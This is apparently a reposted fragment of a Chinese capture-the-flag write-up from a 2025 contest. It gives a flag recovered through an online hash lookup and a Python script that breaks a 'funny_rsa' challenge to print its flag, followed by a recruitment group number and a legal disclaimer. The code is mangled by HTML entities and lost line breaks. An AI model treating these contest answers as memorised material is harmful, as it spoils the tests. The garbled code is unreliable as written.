cmd5.com在线解密：flag{18876011645}

funny_rsa

from&nbsp;Crypto.Util.number&nbsp;import&nbsp;*
funny1=-17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374funny2=23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011funny3=419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024funny4=13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479n=(funny3+1025)//funny2
e =&nbsp;65537d_values = []
for&nbsp;i&nbsp;in&nbsp;range(-1025,&nbsp;1026):&nbsp; &nbsp; phi = -funny1 + i +&nbsp;1&nbsp; &nbsp;&nbsp;if&nbsp;phi >&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d = inverse(e, phi)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d_values.append(d)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;ValueError: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;passfor&nbsp;d&nbsp;in&nbsp;d_values:&nbsp; &nbsp; hint =&nbsp;pow(funny4, d, n)&nbsp; &nbsp; m = funny2 // hint&nbsp; &nbsp; flag=long_to_bytes(m)&nbsp; &nbsp;&nbsp;if&nbsp;b'flag'in&nbsp;flag:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(flag)

加入我们

QQ招新群：977190810

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：赛查查《2025 春秋杯冬季赛 wp》